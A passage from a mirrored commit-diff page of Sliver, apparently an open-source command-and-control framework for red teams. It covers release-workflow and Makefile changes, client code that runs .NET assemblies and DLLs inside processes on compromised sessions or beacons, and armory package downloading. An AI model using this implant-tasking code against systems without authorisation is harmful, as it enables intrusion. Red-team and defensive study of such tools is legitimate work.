mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1756ffa2cd | ||
|
|
928faad39a | ||
|
|
34f28b15bc | ||
|
|
95ba042198 | ||
|
|
80375092fe | ||
|
|
271d50d65c | ||
|
|
752efb0ed8 | ||
|
|
657831f0c0 | ||
|
|
6382dcabc4 | ||
|
|
31efd2afb1 | ||
|
|
1d2e76ba47 | ||
|
|
ec1339e766 | ||
|
|
9ba2d4cdfb | ||
|
|
b452d42314 | ||
|
|
8e9f6a874c | ||
|
|
d0f51d7792 | ||
|
|
ce1d2a2c55 | ||
|
|
6965958097 | ||
|
|
eb8d1bdf11 | ||
|
|
6e5797670d | ||
|
|
c1eeb532e3 | ||
|
|
c7c8027091 | ||
|
|
ce27108c1a | ||
|
|
235fb87842 | ||
|
|
a0d71f4fe8 | ||
|
|
0502f82967 | ||
|
|
2553772ec0 | ||
|
|
406a10d639 | ||
|
|
92b2d2464c | ||
|
|
ead0a5ea1e | ||
|
|
d0ec264454 | ||
|
|
9c7e47c95e | ||
|
|
4c5a099d5c | ||
|
|
99e6765896 | ||
|
|
d1dbd3dcb7 | ||
|
|
8b81de5129 |
No files matched your search
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
branches: [master, goreleaser]
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -35,6 +35,8 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
@@ -44,7 +46,11 @@ jobs:
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -77,10 +83,14 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -98,10 +108,18 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./artifacts
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
@@ -109,43 +127,34 @@ jobs:
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
prerelease: true
|
||||
files: |
|
||||
./release/*
|
||||
./artifacts/*
|
||||
@@ -40,3 +40,5 @@ sliver-server-windows.zip
|
||||
.glide/
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
@@ -3,6 +3,7 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
@@ -89,7 +90,9 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
#
|
||||
@@ -97,28 +100,28 @@ endif
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -149,5 +152,4 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -32,9 +32,11 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -64,12 +66,14 @@ type loadedAlias struct {
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
@@ -230,17 +234,27 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
@@ -255,14 +269,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
@@ -272,14 +286,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -300,12 +317,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -319,18 +348,28 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -345,20 +384,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
|
||||
@@ -35,6 +35,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type ArmoryIndex struct {
|
||||
@@ -87,7 +88,10 @@ var (
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
@@ -213,6 +217,38 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
minWidth := 150
|
||||
if minWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
})
|
||||
}
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
@@ -240,34 +276,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
rows := []table.Row{}
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
if minWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
tw.AppendRows(rows)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
|
||||
@@ -28,6 +28,8 @@ import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
@@ -45,6 +47,7 @@ var (
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -339,6 +342,100 @@ func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, client
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
